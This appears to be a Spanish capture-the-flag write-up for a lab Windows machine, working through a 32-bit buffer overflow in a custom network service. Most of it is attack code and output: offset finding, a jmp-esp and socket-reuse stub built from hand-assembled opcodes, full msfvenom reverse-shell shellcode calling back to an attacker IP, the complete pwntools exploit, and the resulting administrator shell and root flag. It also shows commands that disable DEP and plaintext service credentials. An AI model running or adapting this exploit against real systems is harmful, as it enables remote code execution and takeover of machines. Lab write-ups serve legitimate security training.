Input Your Code: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
El programa se cierra y si trato de volverme a conectar el servicio no está disponible. No pasa nada porque hay una tarea ACR que se encarga de restablecerlo
*Evil-WinRM* PS C:\DevApp> type restart.ps1
# Restart app every 3 mins to avoid crashes
while($true) {
# Delete existing forwards
cmd /c "netsh interface portproxy delete v4tov4 listenport=9999 listenaddress=0.0.0.0"
# Spawn app
$proc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList ("C:\DevApp\MyFirstApp.exe")
sleep 2
# Get random port
$port = (Get-NetTCPConnection -OwningProcess $proc.ProcessId).LocalPort
# Forward port to 9999
cmd /c "netsh interface portproxy add v4tov4 listenport=9999 listenaddress=0.0.0.0 connectport=$port connectaddress=127.0.0.1"
sleep 180
# Kill and repeat
taskkill /f /t /im MyFirstApp.exe
Una vez entendido como funciona el programa, paso a arrancar mi máquina Windows para instalar el binario y debbugeralo con el x64 DBG para controlar el EIP y poder redirigir el flujo del programa y ejecutar comandos
Me comparto un servicio http con python y desde la máquina Windows me descargo el binario
Ejecuto el programa, y desde la máquina Linux me intento conectar, pero de primeras no voy a poder
Desde el Firewall de Windows Defender, agrego una regla que permita la entrada y salida de paquetes aunque la conexión no sea segura
Como había visto que el binario es de 32 bits, me abro el x32 DBG para aplicar debugging
file MyFirstApp.exe
MyFirstApp.exe: PE32 executable (console) Intel 80386, for MS Windows
Una vez abierto, le doy a ejecutar tantas veces como haga falta para que cargue completamente
Dese la máquina Linux, me conecto e introduzco muchas “A” en el campo del código, con el objetivo de que EIP valga 0x41414141 y el programa se corrompa
nc 192.168.16.136 9293
Welcome Brankas Application.
Username: alfiansyah
Password: K3r4j@@nM4j@pAh!T
Login Successfully!
FullName: Vickry Alfiansyah
Input Your Code: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
En la máquina Windows puedo ver que el programa se ha cerrado, y, que efectivamente el EIP vale 41414141, que corresponde a la “A” cuatro veces en hexadecimal
Sobre la marcha, voy creando un script en python que se encargue de enviar la data que necesito
Para empezar, importo los pwntools y defino la IP y el puerto donde se tiene que conectar el socket. Como el puerto es dinámico, lo proporciono mediante un argumento
from pwn import *
port = sys.argv[1]
r = remote('10.10.11.115', port)
Para calcular el offset y saber cuantos caracteres tengo que enviar antes de sobrescribir el EIP, creo un patrón
pattern_create.rb -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
Si se lo envío al servidor, cuando se efectúe el buffer overflow, en el registro del EIP puedo ver los valores que coinciden con alguna cadena de este payload.
Y ahora tiene el siguiente valor:
Obtengo el offset
pattern_offset.rb -l 1000 -q 41326341
[*] Exact match at offset 66
Agrego en el script de python los datos de tengo que enviar y recibir antes de tramitar el payload
from pwn import *
port = sys.argv[1]
r = remote('192.168.16.136', port)
offset = 66
junk = b"A"*offset
payload = junk + b"B"*8
r.recvuntil(b"Username:")
r.sendline(b"alfiansyah")
r.recvuntil(b"Password")
r.sendline(b"K3r4j@@nM4j@pAh!T")
r.recvuntil(b"FullName:")
r.sendline(b"Vickry Alfiansyah")
r.recvuntil(b"Input Your Code:")
r.sendline(payload)
Si ejecuto el exploit, en el x32dbg puedo ver que el EIP vale 42424242
python3 bof.py 9556
[+] Opening connection to 192.168.16.136 on port 9556: Done
[*] Closed connection to 192.168.16.136 port 9556
Le añado al final 200 “C” para ver en donde se almacenan
payload = junk + b"B"*8 + b"C"*200
Al hacer click derecho en el ESP, se puedo ir directamente a la pila donde están mis “C”.
Pero no están todas, la mayoría han desaparecido
Como no tengo espacio suficiente como para insertar un shellcode y ejecutar comandos, podría tratar de aprovechar esos pocos bytes para inyectar un offocode que haga un jump al comienzo del ESP, que si tengo control de su valor. Para ello, voy a tener que efecutr un Socket Reuse. Para empezar voy a saltar a la dirección 00E0FF18, que corresponde al valor del ESP en el momento de aplicar el buffer overflow.
Para evitar problemas en el las pruebas locales que estoy haciendo en la máquina Windows, voy a desactivar el DEP, para que pueda interpretar shellcode almacenado en la pila
Update:
bcdedit /set nx alwaysoff # Ejecutar este comando como Administrador para evitar futuros problemas
Para encontrar el offset, tengo que encontrar una dirección proxima al push ebp, que se encarga de hacer una llamada al ESP, ya que no es estático
En mi caso, tengo lo siguiente:
Aplico una búsqueda recursiva en todos los módulos, para buscar por el comando que me interesa
Cuanto más cerca esté de la dirección 719014E0, que corresponde al push ebp, mejor
Ahora en el payload, más que introducir las “B” y las “C”, voy a cargarle esa dirección que hace un opcode al ESP, pero tranformándola antes a little endian
payload = junk + jmp_esp
jmp_esp = p32(0x7190239F)
Desde la refencia de la dirección a la cual quiero llegar, presiono la tecla F2 para agregar un breakpoint y que el programa se detenga temporalmente
Ahora el flujo del programa se ha detenido en la dirección esperada
Si cargo la siguiente instrucción el ESP vale 0252FF18
Y si me voy a la siguiente instrucción EIP vale lo mismo que valía ESP
Ahora me encuentro en esa dirección, pero la idea es regresar unas cuantas hacia atrás para poder reutilizar el espacio que actualmente está siendo ocupado por “A”
Para poder desplazar el EIP a otra sección, tengo que considerar que como mi offset es de 66 bytes y el EIP ocupa otros 4, en total hay 70 bytes. Para poder apuntar al comienzo, tendría que restarle esa cantidad y apuntar a un opcode que me permita realizar esa operatoria
nasm_shell.rb
nasm > jmp $-70
00000000 EBB8 jmp short 0xffffffba
rest_esp = b"\xEB\xB8"
payload = junk + jmp_esp + rest_esp
En mi payload, agrego esa dirección en formato bytes y vuelvo a ejecutar, el programa se detiene de nueve en el breakpoint y si continúo se aplica el opcode al ESP, que a su vez tiene el mismo valor que EIP
Aplica un jump al esp gracias a que se interpreta el opcode
Si doy otro paso hacia adelante, el EIP cambia su valor a la anterior del ESP
Finalmente, obtengo resultados, aunque sigue siendo muy poco tamaño, pero de haber empezado con 10 bytes a tener ahora 60, el margen de maniobra a aumentado drásticamente. Para ello, puedo aprovecharme de alguna función donde almacenar los datos de forma temporal. Primer objetivo cumpliodo, dejar al EIP apuntando al principio del ESP
Vuelvo a retocar el script en python para agregarle una cadena que quiero que se introduzca al principio del ESP, para ello tengo que restarle al junk su longitud, ya que si no sobrescribiría de nuevo EIP y nada cobraría sentido
test = b""
test += b"\xca\xde\xaa"
offset = 66 - len(test)
junk = test + b"A"*offset
jmp_esp = p32(0x7190239F)
jmp_esp70 = b"\xEB\xB8"
payload = junk + jmp_esp + jmp_esp70 + test
Ejecuto y, efectivamente, aquellos caracteres que envíe antes de sobrescribir el EIP, voy a poder apuntar a ellos directamente al comienzo del ESP y como el Data Execution Prevention está desabilitado, podré ejecutar shellcode. Pero en 60 bytes no, porque sigue siendo muy poco espacio
Desde Ghidra, en la las referencias a la función login se puede ver una llamada a recv()
Si vuelvo a efectuar el buffer overflow y miro lo que hay arriba del valor del EIP, estoy bastante cerca del input que introduzco a través del socket
Hasta que, finalmente, llego a una información un poco más descriptiva. En el código en ensamblador, se puede ver como se abren y cierran sockets
Dentro de la llamada al EAX que se ejecuta justo de recibir la data por el socket, agrego un breakpoint, y puedo ver los siguientes datos que corresponden al descriptor del socket, la dirección del buffer y su tamaño, que corresponde a la función recv() que se ve desde el Ghidra
La sintaxis básica en c, consiste en lo siguiente, según Microsoft:
1
2
3
4
5
6
int recv(
[in] SOCKET s,
[out] char *buf,
[in] int len,
[in] int flags
);
Como tiene 400 bytes de espacio, si pudiera reutizarlos para almacenar shellcode podría ganar acceso al sistema. Para ello, tengo que almacenar estos valores en algún lugar de la pila para posteriormente pushearlos, popearlos y enviarlos en el orden adecuado.
El mismo valor que se le estaba pasando como registro al socket, está reflejado en la pila y está bastante próximo a la dirección de ESP. Necesito saber cual es la diferencia entre esos dos registros para así poder mover el valor a otro temporal, como puede ser EAX
python3
Python 3.10.9 (main, Dec 7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x60 - 0x18)
'0x48'
Así que si yo a la dirección del ESP le sumo el valor que acabo de calcular en hexadecimal, llegaría al registro del que quiero extraer el valor. Ahora es cuando hago el push del ESP para ponerlo en la parte superior de la pila y luego al hacer un pop de EAX, ese mismo valor lo va a coger, almacenarlo y desaparece del stack.
Para definir instrucciones instrucciones en ensamblador, voy a utilizar msf-metasm_shell
En el script en python, donde tenía almacenada la variable test, le cambio el nombre para que pase a llamarse recvcall, que es donde voy a almacenar el registro de forma temporal. Le añado por un lado, push a ESP para crear la copia y un pop a EAX para extraerlo
msf-metasm_shell
type "exit" or "quit" to quit
use ";" or "\n" for newline
type "file <file>" to parse a GAS assembler source file
metasm > push esp
"\x54"
metasm > pop eax
"\x58"
Y modifico el script de python
recvcall = b""
recvcall += b"\x54"
recvcall += b"\x58"
offset = 66 - len(test)
junk = b"A"*offset
jmp_esp = p32(0x7190239F)
jmp_esp70 = b"\xEB\xB8"
payload = recvcall + junk + jmp_esp + jmp_esp70
Vuelvo a ejecutar y desde el debbuger paso por el breakpoint del EAX y me quedo en el ESP y al ver el comienzo del stack, me aseguro de que los dos comandos en ensamblador se ejecutan correctamente
Si voy al siguiente paso el valor del registro pasa al comienzo de la pila
Y en el siguiente se copia a EAX
Teniendo ya almacenado el descriptor de archivos del socket, paso a almacenar los otros valores en otros registros como ESI. Como ya tengo el registro almacenado en EAX y ya había calculado que tenía que sumarle 0x48 para llegar a 0259FF60. Para evitar tener que operar con el ESP, que ha fin de cuentas depende del valor del EIP porque estoy efectuando un buffer overflow, podría tratar de introduccir instrucciones en ensamblador que se encarguen de calcular y asignar los valores de los registros del socket a otro cualquiera, como puede ser ESI o EDI.
La forma de sumar cantidades al registro EAX sería la siguiente:
metasm > add ax, 0x48
"\x66\x05\x48\x00"
Pero tengo un problema, y es que al final aparece un null byte y suele corromper inmediatamente el programa. Si en vez de sumarle 0x48, le sumo otro valor, como 0x101, el null byte desaparece
metasm > add ax, 0x101
"\x66\x05\x01\x01"
Para solucionar este problema, podría tratar de calcular la diferencia para restarselo a la cantidad anterior
python3
Python 3.10.9 (main, Dec 7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x190 - 0x48)
'0x148'
Si ahora calculo la resta en ensamblador, ya no tengo ese problema
metasm > add ax, 0x190
"\x66\x05\x90\x01"
metasm > sub ax, 0x148
"\x66\x2d\x48\x01"
Esto es lo mismo que sumar 0x48 directamente, pero de una manera que lo interprete. Añado al script de python estos valores en la variable y ahora ya tengo alcance al valor del registro y solo faltaría añadirselo a ESI. Ahora no hay que repetir lo mismo de antes porque ya no es extraer un valor del stack si no copiar un registro a otro.
metasm > mov esi, dword [eax]
"\x8b\x30"
Ejecuto y me voy al breakpoint del ESP. Parece ser que no hay ningún problema
El principio es igual, subo al comienzo de la pila la dirección del primer registro, se lo paso a EAX para quedarme con su valor y ahora opero con los cálculos que anteriormente define para extraer el valor del otro registro y moverlo a ESI
Ya tengo el Socket File Descriptor en ESI. Ahora podría tratar de copiar el registro del tamaño, que este puede estar interesante porque de poderlo modificar puedo asignarle más bytes, que equivale a más capacidad a la hora inyectar shellcode
Según voy avanzando, me van surgiendo los problemas. Al ir recorriendo las instrucciones que estoy introducciendo en ensamblador, el EIP va bajando y se aproxima cada vez más al ESP. En caso de que se solapen, puede originar que el programa se corrompa y no llegue a mi objetivo. Para evitarlo, puedo modificar el valor del ESP de tal manera que esté siempre por encima de EIP. Con 64 bytes es suficiente.
metasm > sub esp, 0x64
"\x83\xec\x64"
Al ejecutar está por debajo, pero según recorre todas las instrucciones las posiciones cambian
Y ahora tengo todo el espacio para poder ejecutar instrucciones e ir redirigiendo el flujo del programa y añadir los otros dos registros que me falta, flags y len. Ya podría ir metiendo los valores en la pila, pero de forma inversa, para que una vez lo interprete se ejecute por orden.
El registro de Flags era todo ceros, pero si trato de añadirlo directamente, vuelvo a tener el problema del null byte
metasm >push 0x0
"\x6a\x00"
Pero otra forma de conseguir este mismo valor sería aplicando operadores lógicos. Cuando un valor es xroreado con sigo mismo, el resultado es 0, entonces si quiero almacenar el valor del registro flag en EBX, basta con hacerle un xor a sí mismo y pushearlo. Para el registro del tamaño, le podría añadir 400 bytes a EBX y también pushearlo.
metasm > xor ebx, ebx
"\x31\xdb"
metasm > push ebx
"\x53"
Añado esta nueva instrucción a la variable de python y ejecuto
Solo falta agregar el registro de la longitud, como 400 bytes al transformarlo a ensamblador tiene un null byte, le añado uno más para evitar ese problema
metasm > add bx, 0x400
"\x66\x81\xc3\x00\x04"
metasm > add bx, 0x401
"\x66\x81\xc3\x01\x04"
metasm > push ebx
"\x53"
Añado este nuevo valor a la variable de python, junto con el push
Y ya tendría en la pila los dos valores que me interesan 0 y 401
Solo falta agregar mi shellcode para poder entablarme la reverse shell. La idea está en que una vez se produzca la comunicación con el socket, se le va a asignar al stack un tamaño de 401 bytes, por lo que es entonces cuando tengo que introducirlo. Al no conocer la dirección en la que voy a caer, si introduzco NOPs puedo caer en un punto intermedio de la pila y de esa manera que el flujo del programa continue hasta llegar al shellcode y se interprete.
Para evitar problemas,el registro ESP no lo voy a utilizar para esto como haría en un Buffer Overflow Stack Based, ya no lo tengo que volver a utilizar, puedo tratar de almacenar en el valor de EBX para asi poder meter los NOPs en este otro registro y que no afecte a los offsets que ya están calculados
Como a ESP le había restado 64 bytes para subirlo a una direccion donde fuera imposible que se solapara con el EIP, a EBX le sumo 64 bytes para aplicar un desplazamiento de la dirección para que EBX no tenga el mismo valor que ESP y asi cuando aplico un jump al EBX caer en un punto intermedio de los NOPs, que es lo que ahora estan ocupando las “A” en el junk.
Si hago un push de ESP y luego lo popeo a EBX, puedo copiar el valor de ESP a EBX
metasm > push esp
"\x54"
metasm > pop ebx
"\x5b"
metasm > add bx, 0x64
"\x66\x83\xc3\x64"
Compruebo que todo está funcional y no me he equivocado en nada
Una vez interpretado todo, los valores se han asignado correctamente y EBX se ha desplazado hacia abajo como era de esperar y podría tratar de hacer un push al EBX, que es donde se van a encontrar los NOPs y seguidamente el shellcode y al ESI, que contiene el descriptor de archivo y como he cambiado la dirección donde apunta el buffer que ahora vale lo mismo que EBX, caigo en un punto intermedio de los NOPs, inyecto un shellcode que va a ser interpretado porque el DEP está deshabilitado y gano acceso al sistema
El orden de los registros para que todo se efectúe correctamente es muy importante
En el último lugar tiene que estar el valor de la flag, después el tamaño asignado al buffer, la dirección y el descriptor de archivo. Si ahora hago una llamada a la función recv(), va a tomar como prioritarios los registros que están en el stack y los va a tomar como argumentos para ejecutarse.
Desde el Ghidra puedo ver la dirección para aplicar la llamada
Muevo esa dirección al registro EAX y le aplico una llamada para que se interprete
metasm > mov eax, [0x719082ac]
"\xa1\xac\x82\x90\x71"
metasm > call eax
"\xff\xd0"
Todo parece estar en su sitio, y la dirección que vi en Ghidra para llamar a la función es correcta, ya que detecta que la estoy pasando por referencia
Compruebo que los argumentos de la función son correctos
Convierto las “A” del script de python a NOPs para que el programa no se corrompa y le agrego mi shellcode indicándole que no le añada null bytes y que corra como un proceso independiente, para que en caso de que algo salga mal pueda seguir teniendo acceso al programa.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.0.130 LPORT=443 -b "\x00" EXITFUNC=thread -f py
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1745 bytes
buf = b""
buf += b"\xdb\xce\xd9\x74\x24\xf4\xb8\x1b\xcd\x7a\x86\x5b"
buf += b"\x33\xc9\xb1\x52\x31\x43\x17\x83\xeb\xfc\x03\x58"
buf += b"\xde\x98\x73\xa2\x08\xde\x7c\x5a\xc9\xbf\xf5\xbf"
buf += b"\xf8\xff\x62\xb4\xab\xcf\xe1\x98\x47\xbb\xa4\x08"
buf += b"\xd3\xc9\x60\x3f\x54\x67\x57\x0e\x65\xd4\xab\x11"
buf += b"\xe5\x27\xf8\xf1\xd4\xe7\x0d\xf0\x11\x15\xff\xa0"
buf += b"\xca\x51\x52\x54\x7e\x2f\x6f\xdf\xcc\xa1\xf7\x3c"
buf += b"\x84\xc0\xd6\x93\x9e\x9a\xf8\x12\x72\x97\xb0\x0c"
buf += b"\x97\x92\x0b\xa7\x63\x68\x8a\x61\xba\x91\x21\x4c"
buf += b"\x72\x60\x3b\x89\xb5\x9b\x4e\xe3\xc5\x26\x49\x30"
buf += b"\xb7\xfc\xdc\xa2\x1f\x76\x46\x0e\xa1\x5b\x11\xc5"
buf += b"\xad\x10\x55\x81\xb1\xa7\xba\xba\xce\x2c\x3d\x6c"
buf += b"\x47\x76\x1a\xa8\x03\x2c\x03\xe9\xe9\x83\x3c\xe9"
buf += b"\x51\x7b\x99\x62\x7f\x68\x90\x29\xe8\x5d\x99\xd1"
buf += b"\xe8\xc9\xaa\xa2\xda\x56\x01\x2c\x57\x1e\x8f\xab"
buf += b"\x98\x35\x77\x23\x67\xb6\x88\x6a\xac\xe2\xd8\x04"
buf += b"\x05\x8b\xb2\xd4\xaa\x5e\x14\x84\x04\x31\xd5\x74"
buf += b"\xe5\xe1\xbd\x9e\xea\xde\xde\xa1\x20\x77\x74\x58"
buf += b"\xa3\x72\x83\x62\xb1\xeb\x91\x62\xb4\x50\x1c\x84"
buf += b"\xdc\xb6\x49\x1f\x49\x2e\xd0\xeb\xe8\xaf\xce\x96"
buf += b"\x2b\x3b\xfd\x67\xe5\xcc\x88\x7b\x92\x3c\xc7\x21"
buf += b"\x35\x42\xfd\x4d\xd9\xd1\x9a\x8d\x94\xc9\x34\xda"
buf += b"\xf1\x3c\x4d\x8e\xef\x67\xe7\xac\xed\xfe\xc0\x74"
buf += b"\x2a\xc3\xcf\x75\xbf\x7f\xf4\x65\x79\x7f\xb0\xd1"
buf += b"\xd5\xd6\x6e\x8f\x93\x80\xc0\x79\x4a\x7e\x8b\xed"
buf += b"\x0b\x4c\x0c\x6b\x14\x99\xfa\x93\xa5\x74\xbb\xac"
buf += b"\x0a\x11\x4b\xd5\x76\x81\xb4\x0c\x33\xa1\x56\x84"
buf += b"\x4e\x4a\xcf\x4d\xf3\x17\xf0\xb8\x30\x2e\x73\x48"
buf += b"\xc9\xd5\x6b\x39\xcc\x92\x2b\xd2\xbc\x8b\xd9\xd4"
buf += b"\x13\xab\xcb"
El script quedaría de la siguiente forma:
from pwn import *
import time
port = sys.argv[1]
r = remote('10.10.0.128', port)
recvcall = b""
recvcall += b"\x54"
recvcall += b"\x58"
recvcall += b"\x66\x05\x90\x01"
recvcall += b"\x66\x2d\x48\x01"
recvcall += b"\x8b\x30"
recvcall += b"\x83\xec\x64"
recvcall += b"\x31\xdb"
recvcall += b"\x53"
recvcall += b"\x66\x81\xc3\x01\x04"
recvcall += b"\x53"
recvcall += b"\x54"
recvcall += b"\x5b"
recvcall += b"\x66\x83\xc3\x64"
recvcall += b"\x53"
recvcall += b"\x56"
recvcall += b"\xa1\xac\x82\x90\x71"
recvcall += b"\xff\xd0"
buf = b""
buf += b"\xdb\xce\xd9\x74\x24\xf4\xb8\x1b\xcd\x7a\x86\x5b"
buf += b"\x33\xc9\xb1\x52\x31\x43\x17\x83\xeb\xfc\x03\x58"
buf += b"\xde\x98\x73\xa2\x08\xde\x7c\x5a\xc9\xbf\xf5\xbf"
buf += b"\xf8\xff\x62\xb4\xab\xcf\xe1\x98\x47\xbb\xa4\x08"
buf += b"\xd3\xc9\x60\x3f\x54\x67\x57\x0e\x65\xd4\xab\x11"
buf += b"\xe5\x27\xf8\xf1\xd4\xe7\x0d\xf0\x11\x15\xff\xa0"
buf += b"\xca\x51\x52\x54\x7e\x2f\x6f\xdf\xcc\xa1\xf7\x3c"
buf += b"\x84\xc0\xd6\x93\x9e\x9a\xf8\x12\x72\x97\xb0\x0c"
buf += b"\x97\x92\x0b\xa7\x63\x68\x8a\x61\xba\x91\x21\x4c"
buf += b"\x72\x60\x3b\x89\xb5\x9b\x4e\xe3\xc5\x26\x49\x30"
buf += b"\xb7\xfc\xdc\xa2\x1f\x76\x46\x0e\xa1\x5b\x11\xc5"
buf += b"\xad\x10\x55\x81\xb1\xa7\xba\xba\xce\x2c\x3d\x6c"
buf += b"\x47\x76\x1a\xa8\x03\x2c\x03\xe9\xe9\x83\x3c\xe9"
buf += b"\x51\x7b\x99\x62\x7f\x68\x90\x29\xe8\x5d\x99\xd1"
buf += b"\xe8\xc9\xaa\xa2\xda\x56\x01\x2c\x57\x1e\x8f\xab"
buf += b"\x98\x35\x77\x23\x67\xb6\x88\x6a\xac\xe2\xd8\x04"
buf += b"\x05\x8b\xb2\xd4\xaa\x5e\x14\x84\x04\x31\xd5\x74"
buf += b"\xe5\xe1\xbd\x9e\xea\xde\xde\xa1\x20\x77\x74\x58"
buf += b"\xa3\x72\x83\x62\xb1\xeb\x91\x62\xb4\x50\x1c\x84"
buf += b"\xdc\xb6\x49\x1f\x49\x2e\xd0\xeb\xe8\xaf\xce\x96"
buf += b"\x2b\x3b\xfd\x67\xe5\xcc\x88\x7b\x92\x3c\xc7\x21"
buf += b"\x35\x42\xfd\x4d\xd9\xd1\x9a\x8d\x94\xc9\x34\xda"
buf += b"\xf1\x3c\x4d\x8e\xef\x67\xe7\xac\xed\xfe\xc0\x74"
buf += b"\x2a\xc3\xcf\x75\xbf\x7f\xf4\x65\x79\x7f\xb0\xd1"
buf += b"\xd5\xd6\x6e\x8f\x93\x80\xc0\x79\x4a\x7e\x8b\xed"
buf += b"\x0b\x4c\x0c\x6b\x14\x99\xfa\x93\xa5\x74\xbb\xac"
buf += b"\x0a\x11\x4b\xd5\x76\x81\xb4\x0c\x33\xa1\x56\x84"
buf += b"\x4e\x4a\xcf\x4d\xf3\x17\xf0\xb8\x30\x2e\x73\x48"
buf += b"\xc9\xd5\x6b\x39\xcc\x92\x2b\xd2\xbc\x8b\xd9\xd4"
buf += b"\x13\xab\xcb"
offset = 66 - len(recvcall)
junk = b"A"*offset
jmp_esp = p32(0x7190239F)
jmp_esp70 = b"\xEB\xB8"
payload = recvcall + junk + jmp_esp + jmp_esp70
r.recvuntil(b"Username:")
r.sendline(b"alfiansyah")
r.recvuntil(b"Password")
r.sendline(b"K3r4j@@nM4j@pAh!T")
r.recvuntil(b"FullName:")
r.sendline(b"Vickry Alfiansyah")
r.recvuntil(b"Input Your Code:")
r.sendline(payload)
time.sleep(1)
r.sendline(buf)
Cambio la IP local por la de HTB y ejecuto contra la máquina víctima por el puerto 9999. Genero de nuevo el payload para mi IP de HTB
python3 bof.py
[+] Opening connection to 10.10.11.115 on port 9999: Done
[*] Closed connection to 10.10.11.115 port 9999
Y gano acceso al sistema en una sesión de netcat
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.8] from (UNKNOWN) [10.10.11.115] 61940
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
hancliffe\administrator
C:\Windows\system32>
Puedo visualizar la segunda flag
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
f2f70690a032551dc7a3f22f8a46be52